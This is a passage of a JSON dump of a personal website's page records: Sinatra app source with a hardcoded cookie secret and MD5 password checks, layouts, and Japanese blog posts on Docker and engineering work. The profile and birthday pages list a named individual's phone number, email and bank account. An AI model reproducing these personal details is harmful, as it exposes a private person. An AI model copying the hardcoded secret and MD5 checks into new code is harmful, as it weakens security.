@page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-01-08T10:29:20.000Z","updated_at":"2014-01-08T10:29:20.000Z"},{"id":2590,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %h4 Site Search\r\n %div\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %h4 Update History of this content\r\n %div\r\n %ul\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2014-01-08T04:12:32.000Z","updated_at":"2014-01-08T04:12:32.000Z"},{"id":2591,"name":"text/Docker をプロダクトのデプロイに使う","body":"%blog%\r\n\r\nコミケの列に並んでたあたりのころから Docker 本格的に使ってます。このサイトもさっき Docker でデプロイするような感じにしました。\r\n\r\nDocker の利点と欠点で\r\n\r\n- 開発環境の配布が容易にできる\r\n- プロダクトのデプロイにつかうにはなにかとキツい\r\n\r\nみたいな意見をわりと頻繁にみかけるのですが、逆じゃねえかと思ってます。これ開発環境の配布に使うの無理でしょ。各コンテナ使い捨て前提なんだし。\r\n\r\nDocker をデプロイに使う際の問題点としては以下があります\r\n\r\n- Dockerfile に 42 個しか命令かけないみたいなやつ\r\n- なんだかんだでコンテナのビルドに時間がかかる\r\n- コンテナの管理とかどうするのか\r\n- リバースプロキシの設定とかどうするのか\r\n\r\n一個目に関しては頑張ってください。僕はセットアップ用やデプロイ用のシェルスクリプトを ADD して RUN させるようにしてます。シェルスクリプトセットアップ + デプロイとかまだ恐竜が歩いていたころのやり方のような気がしますが、コンテナは使い捨てという前提の Docker ではこのやり方が至って実用的です。\r\n\r\nビルドに時間がかかる問題はビルドを分割 + 差分ビルドの導入で実現できます。\r\n\r\n- 様々なアプリケーションで使うもの(言語とかライブラリとかウェブサーバーとか)をインストールしたベースコンテナ\r\n- ↑のコンテナから FROM してアプリケーションを git から clone してきてセットアップするアプリケーションコンテナ\r\n - 僕は Ruby ユーザーなので具体的に bundle install\r\n- ↑のコンテナから FROM して git pull origin master してからセットアップする差分コンテナ\r\n\r\nにをそれぞれ作ります。ベースコンテナは一週間に 1 回ぐらいビルドして、アプリケーションコンテナは毎日ビルドして、差分コンテナはデプロイのタイミングでビルドします。\r\n\r\nそうすればアプリコンテナのビルドは数分で、差分コンテナは bundle update してなければ数十秒ぐらいでビルドできるようになるのでストレスが減ります。\r\n\r\nコンテナの管理は普通 docker-registry を使うんでしょうがあれなんかセットアップダルい割に利点を感じない(上記の差分ビルドの仕組みがあると特に)ので特にやってません。\r\n\r\nリバースプロキシの設定は docker inspect の結果から nginx の設定を生成して送りつけるというのをやってます。\r\n\r\nあとは「差分のビルド + nginx の設定」みたいのを CI ツールにテストの成功後にやらせるようにすればよい感じです。\r\n\r\n#### いろいろやって感じた Docker の利点\r\nシェルスクリプトでセットアップとデプロイが**実用的に**出来るようになるというのがデカいと感じます。\r\n\r\nchef やら puppet やらのプロビショニングツールや、 Capistrano のようなデプロイツールは同じサーバーをずっと使い続けることを前提に複雑な仕組みが採られています。しかし Docker では各コンテナは短いサイクルで使い捨てられていきますから、上記のような差分ビルドのような仕組みを導入した場合にしてもだいたい全部シェルスクリプトセットアップでなんとかなります。\r\n\r\nChef と Capistrano で頑張ってたときより見通しよくなってると思います。","created_at":"2014-01-08T05:07:37.000Z","updated_at":"2014-01-08T05:07:37.000Z"},{"id":2592,"name":"reindex","body":"ruby\r\n\r\nGroonga['Pages'].select.each{|x| Groonga['Pages'].delete x._key}\r\n\r\nPage.select('distinct name').each{|x|\r\n p = Page.where(name: x.name).order('id desc').first\r\n key = Digest::MD5.hexdigest(p.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = p.name\r\n Groonga['Pages'][key].text = p.body\r\n Groonga['Pages'][key].page_id = Page.where(name: x.name).order('id asc').first.id\r\n Groonga['Pages'][key].created_at = p.created_at.to_i\r\n}\r\n\"success\"","created_at":"2014-01-08T05:15:18.000Z","updated_at":"2014-01-08T05:15:18.000Z"},{"id":2593,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4145 9835 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/e72558607f525cc220a569e807ae8e2d)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)","created_at":"2014-01-09T18:49:58.000Z","updated_at":"2014-01-09T18:49:58.000Z"},{"id":2594,"name":"kure.ssig33.com","body":"title 誕生日プレゼントくれ\r\n# ssig33 は 12/15 が誕生日です!!!!\r\n## [Amazon ウィッシュリスト経由でなんかくれ](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)\r\n\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n## その他なんでもくれ\r\nその他ウィッシュリストにないものでもなんでもほしいので手渡しするか DM やメールやその他で発送先を手に入れてなにかください\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n","created_at":"2014-01-10T05:17:41.000Z","updated_at":"2014-01-10T05:17:41.000Z"},{"id":2595,"name":"text/就活をしている人達にアドバイス","body":"%blog%\r\n\r\n1. 世界征服~謀略のズヴィズダー~ を見ろ\r\n2. ウルフズレインを見ろ\r\n3. GTA 5 Online をプレイしてレスターのメッセージを聞こう\r\n4. 未確認で進行形を見ろ\r\n5. ワルキューレ・ロマンツェを見ろ\r\n6. 魔法戦争を見ろ\r\n7. ご注文はうさぎですか?を見ろ\r\n8. 仮面ライダー 555 と仮面ライダーキバを見ろ\r\n9. 古怒田健志の「小説 仮面ライダーキバ」を読め\r\n10. 迷い猫オーバーランを見直そう","created_at":"2014-01-19T20:27:02.000Z","updated_at":"2014-01-19T20:27:02.000Z"},{"id":2596,"name":"text/就活をしている人達にアドバイス","body":"%blog%\r\n\r\n1. 世界征服~謀略のズヴィズダー~ を見ろ\r\n2. ウルフズレインを見ろ\r\n3. GTA 5 Online をプレイしてレスターのメッセージを聞こう\r\n4. 未確認で進行形を見ろ\r\n5. ワルキューレ・ロマンツェを見ろ\r\n6. 魔法戦争を見ろ\r\n7. ご注文はうさぎですか?を読め\r\n8. 仮面ライダー 555 と仮面ライダーキバを見ろ\r\n9. 古怒田健志の「小説 仮面ライダーキバ」を読め\r\n10. 迷い猫オーバーランを見直そう\r\n\r\n****","created_at":"2014-01-19T21:22:08.000Z","updated_at":"2014-01-19T21:22:08.000Z"},{"id":2597,"name":"text/普通の人が Docker を使う理由","body":"%blog%\r\n\r\nこんにちわ皆さん。 Immutable Infrastructure という単語のブームも一段落した昨今と思います。今日は普通の人が Docker のようなツールを使ったほうがいい理由について簡単に書きます。\r\n\r\nこの手のツールは「頻繁にアプリをデプロイする」「大規模なサーバー群を運用している」人向けのツールというイメージが比較的強いのではないかと思っています。\r\n\r\nしかしながら\r\n\r\n- 安い VPS を借りて Web サイトや IRC プロキシなどを細々と運用している\r\n\r\nというようなわりと普通の人でも Docker を使う利点は十分あると僕は考えています。それは\r\n\r\n- 同じ VPS の同じゾーンに BitTorrent 野郎がやってきて、ネットワークが劣化して使い物にならない\r\n\r\nというようなことが VPS を使っているとたまにあります。こういう時に、運営側に「ネットワーク遅くて使い物にならないんだけど」とかクレームしてもだいたい「ベストエフォートです」と木で鼻をくくるような対応をされるのがせいぜいです。\r\n\r\n結局そういうことが起きたら適当に引っ越すのが一番手っ取り早いということが多いのですが、 Docker を使っていればその引っ越しはほぼノーコストで行なうことができます。\r\n\r\n- Docker というソフトウェアにロックインされるかわりに、サーバーという機械にはロックインされなくなる\r\n\r\nという利点はかなり多くの人が享受できるところなのではないかと思います。\r\n\r\n今日の結論: SaaSes は悪質ユーザーの追い出し真面目にやってくれ","created_at":"2014-01-20T00:30:50.000Z","updated_at":"2014-01-20T00:30:50.000Z"},{"id":2598,"name":"text/普通の人が Docker を使う理由","body":"%blog%\r\n\r\nこんにちわ皆さん。 Immutable Infrastructure という単語のブームも一段落した昨今と思います。今日は普通の人が Docker のようなツールを使ったほうがいい理由について簡単に書きます。\r\n\r\nこの手のツールは「頻繁にアプリをデプロイする」「大規模なサーバー群を運用している」人向けのツールというイメージが比較的強いのではないかと思っています。\r\n\r\nしかしながら\r\n\r\n- 安い VPS を借りて Web サイトや IRC プロキシなどを細々と運用している\r\n\r\nというようなわりと普通の人でも Docker を使う利点は十分あると僕は考えています。それは\r\n\r\n- 同じ VPS の同じゾーンに BitTorrent 野郎がやってきて、ネットワークが劣化して使い物にならない\r\n\r\nというようなことが VPS を使っているとたまにあります。こういう時に、運営側に「ネットワーク遅くて使い物にならないんだけど」とかクレームしてもだいたい「ベストエフォートです」と木で鼻をくくるような対応をされるのがせいぜいです。\r\n\r\n結局そういうことが起きたら適当に引っ越すのが一番手っ取り早いということが多いのですが、 Docker を使っていればその引っ越しはほぼノーコストで行なうことができます。\r\n\r\nchef のようなツールでも同じような利点は享受できるのですが、 Docker の場合「機能」と「資源」を分離して管理する必要がでてきますから(「機能」の部分は頻繁に捨てられてしまう)、引っ越しのコストは自然と格段に下がります。\r\n\r\n- Docker というソフトウェアにロックインされるかわりに、サーバーという機械にはロックインされなくなる\r\n\r\nという利点はかなり多くの人が享受できるところなのではないかと思います。\r\n\r\n今日の結論: SaaSes は悪質ユーザーの追い出し真面目にやってくれ","created_at":"2014-01-20T00:32:54.000Z","updated_at":"2014-01-20T00:32:54.000Z"},{"id":2599,"name":"text/転職時の面接の思い出","body":"%blog%\r\n\r\n前の会社:\r\n\r\n秋葉原かなんかで創業者から俺はこんなにゲームが好きなんだみたいな話を 30 分ぐらい聞かされていいですねみたいな感じになった\r\n\r\n今の会社:\r\n\r\n電車乗り間違えてすっげー遅刻した、居酒屋でインターネットの話とかしてた、鶏のたたきとビールが旨かった","created_at":"2014-01-20T17:22:19.000Z","updated_at":"2014-01-20T17:22:19.000Z"},{"id":2600,"name":"text/初心者が2ヶ月でプログラミングをマスターする方法","body":"%blog%\r\n\r\nそんなものは無い","created_at":"2014-01-26T23:09:32.000Z","updated_at":"2014-01-26T23:09:32.000Z"},{"id":2601,"name":"text/Windows マシンを買うべき理由","body":"%blog%\r\n\r\nタブレットと呼称される計算機にあっても少しづつ Windows の存在感が増してきている昨今です。僕はいまのところ Android や iPad ではなくこの Windows が普及することが望ましいと考えています。それは以下の理由からです。\r\n\r\n- Visual Studio と VirtualBox が現実的に動く\r\n\r\n「iPad こそが完璧なダイナブックだ」などと言っている人が一時期いましたが、プログラミングが不可能なこの機械がダイナブックなどであるわけがありません。パーソナルコンピューターだとも若干言い難いものでしょう。\r\n\r\nAndroid では開発環境がいくつかありますがどれもまあ使いたくなるような代物ではありません。\r\n\r\nところが Windows では液晶サイズが 8 インチで 350g のタブレットで Visual Studio などの本物の開発環境が現実的に動きますし、 VirtualBox を入れて普通の Linux や FreeBSD などの環境も作ることができます。\r\n\r\nWindows のストアアプリのプログラミングは実際極めて容易で、 Firefox OS などが実現したがっている未来がすでに実現されているように思えます。\r\n\r\n「プログラミング可能な機械」があまねく人々の手に存在している状況が失なわれるべきではないと思います。幅広い裾野こそが優れたソフトウェアとそれに支えられる快適な社会を作りだすのです。現状その状況が保たれるとすれば Windows タブレットがある程度普及することが一番の近道なんじゃないかと思います。不自由で邪悪なソフトウェアですが。艦これとかやってる場合じゃないんだよ、分かるか。\r\n\r\n今日の結論: Xcode for iPad が出ればあっさり手の平を返すということなので Apple さんよろしくお願いします。","created_at":"2014-01-28T04:52:21.000Z","updated_at":"2014-01-28T04:52:21.000Z"},{"id":2602,"name":"text/オタクが考えた秋葉原観光","body":"%blog% 古代のオタクが考えた現代に伝わる一日で行ける手軽な秋葉原観光\r\n\r\n# 駅 =\u003e サンボ =\u003e 駅","created_at":"2014-01-30T03:48:30.000Z","updated_at":"2014-01-30T03:48:30.000Z"},{"id":2603,"name":"text/地方エンジニア終わってんのかみたいなやつ","body":"%blog%\r\n\r\n- http://www.slideshare.net/ogin_s57/ss-30716035\r\n\r\nこれの話。\r\n\r\n現実的にそういうふうに働ける会社をハートレイルズとジオリパブリックジャパンとソニックガーデンぐらいしか僕はしらないです。僕が 3 社知ってるということは 60 社ぐらいはあるのかもしれないですけど。\r\n\r\nなので「在宅勤務で地方在住できる!!!」という状態かというとまだまだそういう状態じゃないとは思うんです。ですが煽っていってそういう会社が増えればまあそれはいいんじゃないかと思ってます。\r\n\r\nというか深刻にそうなってほしいと思っていて今のところ僕ハートレイルズの労働環境にロックインされてしまっている状態になっているので選択肢がないということでもあるのです(不満があるとかいうことではなく選択肢がないのが問題)。\r\n\r\n話にあんまり関係ないですがハートレイルズは技術者募集中です、出社したくない人は連絡ください。","created_at":"2014-02-03T01:57:54.000Z","updated_at":"2014-02-03T01:57:54.000Z"},{"id":2604,"name":"text/さくらの BASE Storage","body":"%blog% さくらの BASE Storage 使ってみた\r\n\r\n### 引数に指定したファイルをアップロードするやつ\r\n\u003cscript src=\"https://gist.github.com/ssig33/8847694.js\"\u003e\u003c/script\u003e\r\n\r\n### これが致命的な欠点だと思う\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eさくらの BASE Storage 200MB ぐらいの mp3 アップロードしてみたんだけど、ネームスペース public にして、 wget ではダウンロードできるんだけど audio 要素では使えない、 partial content 対応してないな\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/431463412954959872\"\u003eFebruary 6, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003ePartial Content に対応してくれないと大容量のファイル置ける意味半減するのでさくらの BASE Storage そのあたり対応してほしい、アプライアンス買ってきてる感じだからどこまで対応できるのか知らんが\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/431463757487685632\"\u003eFebruary 6, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### そんなことはともかくとして\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eさくらの BASE Storage サービス品質酷いのとかはベータだからまだいいとして、フィードバック送る窓口無いのなんなの?ドキュメントがなく何をどうすればいいか分からずさらにバグに苦しめられるユーザーに呻きの声を SNS に書いてもらうのが目的なの?バカなんじゃないの?\u003c/p\u003e\u0026mdash; ssig33 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/431467232724393984\"\u003eFebruary 6, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n### まとめ\r\n\u003cspan class='h0'\u003e糞が\u003c/span\u003e","created_at":"2014-02-06T16:40:33.000Z","updated_at":"2014-02-06T16:40:33.000Z"},{"id":2605,"name":"text/TPIを退職しました","body":"%blog% トレヴァー・フィリップス・エンタープライズをまた退職しました\r\n\r\n![退職](http://ssig33.com/gyazo/6fbd89712abef0ff1e72967f806663d7.png)\r\n\r\nいまさらですがエオルゼア行ってきます。","created_at":"2014-02-09T08:51:23.000Z","updated_at":"2014-02-09T08:51:23.000Z"},{"id":2606,"name":"text/生産性の高いエンジニアが10倍","body":"%blog% 生産性の高いエンジニアは本当に 10 倍の生産性があるのか\r\n\r\nというようなのよく言われますがこれは間違っていて\r\n\r\n- 生産性の低いエンジニア: ある閾値を越えたものは作れない\r\n- 生産性の高いエンジニア: 生産性の低いエンジニアの作れないものでも作れる\r\n\r\nというような感じであることが殆どで、生産性の低いエンジニアに 10 倍の時間を与えたからどうにかなるというようなもんでもないでしょう。\r\n\r\n時間が何でも解決すると思ったら大間違いだ。","created_at":"2014-02-18T09:51:47.000Z","updated_at":"2014-02-18T09:51:47.000Z"},{"id":2607,"name":"text/Web サイトのデザインについて主張したいこと","body":"%blog%\r\n\r\nはすべてこのサイトのデザインに表れています。絶対にこれが正しいと思っているし、色の使い方とかそういうことを考える前に色を使うのをやめてほしい。","created_at":"2014-02-21T07:43:45.000Z","updated_at":"2014-02-21T07:43:45.000Z"},{"id":2608,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /^text$|radar|.js$|^feed$|^recent$|^index$|source\\/app.rb/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2014-02-21T13:03:32.000Z","updated_at":"2014-02-21T13:03:32.000Z"},{"id":2609,"name":"text/エリック・エヴァンスのドメイン駆動設計読んだ","body":"%blog%\r\n\r\n昨日の夜買って読み始めたら朝の 10 時に読み終わった。いろんな人がいろいろ感想書いてるからごちゃごちゃ書くことはしない。\r\n\r\n「利口な UI」というコラムが序盤にあった。これは「バカにプログラミングさせるとビューにロジックが集中する」「かといってバカにはモデル駆動開発は無理」という話です。極めて説得力を感じるのですが、この問題に関して最後まで読んでも特に解決策は載ってませんでした。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003e優秀なエンジニアがその辺にいくらでも生えてるということは稀なので、教育とかいう難しいやつをやる必要がある(難しい)\u003c/p\u003e\u0026mdash; トデス子 (@todesking) \u003ca href=\"https://twitter.com/todesking/statuses/437240579785629696\"\u003eFebruary 22, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nというようなのが現実だと思います。ここから得られる課題は、「利口な UI」しか書けない人をどのようにモデル駆動開発に耐えられる専門家に教育するかという点です。\r\n\r\nある程度の人間が「ビジネスサイドの人間と会話する共通の言語を基に堅牢なモデルを設計する」ための知識を得るにはこれが役に立つのでしょうが、「利口な UI」を作る人たちをどうするかというのは結局どこにも書かれていないし、 2014 年になっても「利口な UI」を作る人たちはたくさんいる。人間の死を感じた。","created_at":"2014-02-23T03:41:23.000Z","updated_at":"2014-02-23T03:41:23.000Z"},{"id":2610,"name":"text/ダンピングをするな","body":"%blog%\r\n\r\n[これ](http://d.hatena.ne.jp/takeda25/20140222/1393072150)の話。\r\n\r\n\u003e次のような二つの職場があったとしたら、優秀なプログラマの大部分は前者を選ぶのではないでしょうか。\r\n\u003e\r\n\u003e\r\n\u003e\\1. テスト・CI をきちんとやっていて、ソースコード管理は Git \u0026 GitHub、もちろんデプロイもほぼ自動化されていて、過去のバージョンに戻すことも簡単にできるため実験がやりやすい。リファクタリングの価値が認識されている。タスク管理ツールや連絡ツールも新しいものを積極的に採用している。権威的な人間がおらず、設計やコードの良し悪しを率直に話し合える。年収 400万。\r\n\u003e\r\n\u003e\\2. テストもろくにない Java のコードを手元の Eclipse でコンパイルして、その .class ファイルを WinSCP でコピーしてデプロイしている。バージョン管理システムはろくに活用されておらず、間違えたらおしまいなので PukiWiki の手順書に「~を厳守する」という心構えが出てくる。ファイルを zip で固めて IP メッセンジャーで送って「コードレビュー」をしている。先輩・後輩の序列がはっきりしていて、偉い人のコードレビューはすぐ通るのに新入りは重箱の隅をつつかれる。リファクタリングは危険なので論外で、jQuery 1.4 などの古いライブラリを使っている(「jQuery のバージョンを上げたらよくわからないエラーが出た」という伝説があって、それ以降バージョンを上げることがタブーになっていたりする)。もちろんコスト感もないので、拡張forは当然禁止で、偉い先輩がそのことを偉そうに教えてくる。年収 1000万。\r\n\r\n実際のところそうなのだとは思いますが、しかし我々は年収 400 万円で働くべきではないし 1 の環境で年収 40 万ドルを寄越せと常に主張していく必要がある。\r\n\r\n環境がいいからと低い年収で我慢するのはダンピングでしかないし、結局のところ他のエンジニアを害する利敵行為でしかない。\r\n\r\nというわけで今年も収入が上がるといいなと思ったという話です。","created_at":"2014-02-24T02:17:20.000Z","updated_at":"2014-02-24T02:17:20.000Z"},{"id":2611,"name":"text/ダンピングをするな","body":"%blog%\r\n\r\n[これ](http://d.hatena.ne.jp/takeda25/20140222/1393072150)の話。\r\n\r\n\u003e次のような二つの職場があったとしたら、優秀なプログラマの大部分は前者を選ぶのではないでしょうか。\r\n\u003e\r\n\u003e\r\n\u003e1. テスト・CI をきちんとやっていて、ソースコード管理は Git \u0026 GitHub、もちろんデプロイもほぼ自動化されていて、過去のバージョンに戻すことも簡単にできるため実験がやりやすい。リファクタリングの価値が認識されている。タスク管理ツールや連絡ツールも新しいものを積極的に採用している。権威的な人間がおらず、設計やコードの良し悪しを率直に話し合える。年収 400万。\r\n\u003e\r\n\u003e2. テストもろくにない Java のコードを手元の Eclipse でコンパイルして、その .class ファイルを WinSCP でコピーしてデプロイしている。バージョン管理システムはろくに活用されておらず、間違えたらおしまいなので PukiWiki 